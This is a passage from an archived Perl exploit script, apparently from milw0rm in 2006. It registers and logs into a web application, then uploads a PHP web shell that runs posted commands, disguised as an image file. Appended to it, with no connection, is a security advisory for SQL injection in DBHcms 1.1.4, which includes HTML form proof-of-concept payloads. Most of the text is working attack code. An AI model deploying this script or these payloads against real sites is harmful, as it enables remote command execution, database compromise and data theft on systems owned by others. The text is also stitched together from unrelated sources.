print "[-] no projectid found";
exit;
}
print "[+] projectid is '$projectid'\n";
return $projectid;
}
sub upload_shell(\$,\$,\$,\$,\$) {
my $server = shift;
my $port = shift;
my $path = shift;
my $cookies = shift;
my $projectid = shift;
my $query = "GET ".$path."newimage.php?projectid=".$projectid." HTTP/1.1\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= $cookies;
$query .= "\r\n";
my $data = sendpacket($server, $port, $query);
if($data =~ /Access denied.../)
{
print "[-] no admin privileges (mysql < 4.0 ?)\n";
exit;
}
my $shell = "<? if(isset(\$_POST['c'])) { system(\$_POST['c']); } ?>";
my $boundary = "-----------------------------220162907215434";
my $post = "--".$boundary."\r\n";
$post .= "Content-Disposition: form-data; name=\"projectid\"\r\n\r\n";
$post .= $projectid."\r\n";
$post .= "--".$boundary."\r\n";
$post .= "Content-Disposition: form-data; name=\"A_MONTH\"\r\n\r\n";
$post .= "03\r\n";
$post .= "--".$boundary."\r\n";
$post .= "Content-Disposition: form-data; name=\"A_DAY\"\r\n\r\n";
$post .= "26\r\n";
$post .= "--".$boundary."\r\n";
$post .= "Content-Disposition: form-data; name=\"A_YEAR\"\r\n\r\n";
$post .= "2006\r\n";
$post .= "--".$boundary."\r\n";
$post .= "Content-Disposition: form-data; name=\"fullimage\"; filename=\"my_image.jpg\"\r\n";
$post .= "Content-Type: text/plain\r\n\r\n";
$post .= $shell."\r\n";
$post .= "--".$boundary."\r\n";
$post .= "Content-Disposition: form-data; name=\"description\"\r\n\r\n";
$post .= "another image\r\n";
$post .= "--".$boundary."\r\n";
$post .= "Content-Disposition: form-data; name=\"ext\"\r\n\r\n";
$post .= ".php\r\n";
$post .= "--".$boundary."\r\n";
$post .= "Content-Disposition: form-data; name=\"feature__".$projectid."\"\r\n\r\n";
$post .= "Y\r\n";
$post .= "--".$boundary."\r\n";
$post .= "Content-Disposition: form-data; name=\"addnow\"\r\n\r\n";
$post .= "ADD\r\n";
$post .= "--".$boundary."--\r\n";
my $query = "POST ".$path."newimage.php?projectid=".$projectid." HTTP/1.1\r\n";
$query .= "Content-Type: multipart/form-data; boundary=".$boundary."\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= $cookies;
$query .= "Content-Length: ".length($post)."\r\n";
$query .= "\r\n";
$query .= $post;
sendpacket($server, $port, $query);
}
sub login(\$,\$,\$,\$,\$) {
my $server = shift;
my $port = shift;
my $path = shift;
my $username = shift;
my $password = shift;
my $d = "whattodo=login&myusername=".$username."&mypassword=".$password;
my $query = "POST ".$path."index.php HTTP/1.1\r\n";
$query .= "Content-Type: application/x-www-form-urlencoded\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= "Content-Length: ".length($d)."\r\n";
$query .= "\r\n";
$query .= $d;
my $data = sendpacket($server, $port, $query);
if($data =~ /<td><b>Your Name:<\/td><td><input type=text name=myusername/ || $data !~ /Set-Cookie: /)
{
print "[-] failed to login\n";
exit;
}
my $cookies = ""; # chocolate cookies
my $index1 = index($data, "\r\n\r\n");
if($index1 >= 0)
{
my $index2 = index($data, "Set-Cookie: ") + 12;
my $index3 = index($data, "\r\n", $index2);
$cookies = "Cookie: ".substr($data, $index2, $index3-$index2+2);
}
print "[+] logged in as '$username'\n";
return $cookies;
}
sub register(\$, \$, \$, \$, \$, \$, \$) {
my $server = shift;
my $path = shift;
my $name = shift;
my $user = shift;
my $password = shift;
my $email = shift;
my $d = "action=register&emailadd=".$email."&newname=".$name."&newusername=".$user."&newpassword=".$password;
my $query = "POST ".$path."lostsheep.php HTTP/1.1\r\n";
$query .= "Content-Type: application/x-www-form-urlencoded\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= "Content-Length: ".length($d)."\r\n";
$query .= "\r\n";
$query .= $d;
my $data = sendpacket($server, $port, $query);
if($data =~ /<li>Sorry the username you entered <b><\/b> is already taken.. try again/)
{
print "[-] failed: username taken\n";
exit;
}
if($data =~ /you did not enter in a/)
{
print "[-] failed\n";
exit;
}
print "[+] user '$user' with password '$password' registered\n";
}
sub sendpacket(\$,\$,\$) {
my $server = shift;
my $port = shift;
my $request = shift;
my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => $port) or die "[-] Could not connect to $server:$port $!\n";
print $sock "$request";
my $data = "";
my $answer;
while($answer = <$sock>)
{
$data .= $answer;
}
close($sock);
return $data;
}
sub randstring(\$,\$) {
my $min = shift;
my $max = shift;
my $length = int( (rand(65535)%($max-$min+1))+$min);
my $ret = "";
for(my $i = 0; $i < $length; $i++)
{
my $w = int(rand(3));
if($w == 0)
{
$ret .= chr(97 + int(rand(26)));
}
elsif($w == 1)
{
$ret .= chr(65 + int(rand(26)));
}
else
{
$ret .= chr(48 + int(rand(10)));
}
}
return $ret;
}
sub usage() {
printf "usage: %s <website> <port> [user(optional)] [password(optional)] [shell path without trailing / (optional)]\n", $0;
printf "exemple: %s www.site.com/csig/ 80\n", $0;
exit;
}
sub urlEncode {
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
return $string;
}
# milw0rm.com [2006-04-04]
High-Tech Bridge ./DBHcms v1.1.4 (dbhcms_user and searchString) SQL Injection Vulnerability ( php)
Vulnerability ID: HTB22651 Reference: http://www.htbridge.ch/advisory/sql_injection_in_dbhcms.html Product: DBHcms Vendor: drbenhur.com ( http://www.drbenhur.com/ ) Vulnerable Version: 1.1.4 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: SQL Injection Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "dbhcms_user" variable. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/" method="post" name="main" > <input type="hidden" name="dbhcms_user" value="'SQL CODE HERE" /> <input type="hidden" name="dbhcms_passwd" value="password" /> <input type="submit" value="Login" name="submit" /> </form> The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "searchString" variable. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php?dbhcms_did=1&dbhcms_pid=11&dbhcms_lang=en" method="post" name="search" /> <input name="dbhcmsCache" value="CT_OFF" type="hidden" /> <input name="todo" value="searchExecute" type="hidden" /> <input name="searchString" value="'SQL CODE HERE" type="hidden" /> <input type="submit" value="Search" name="submit" /> </form>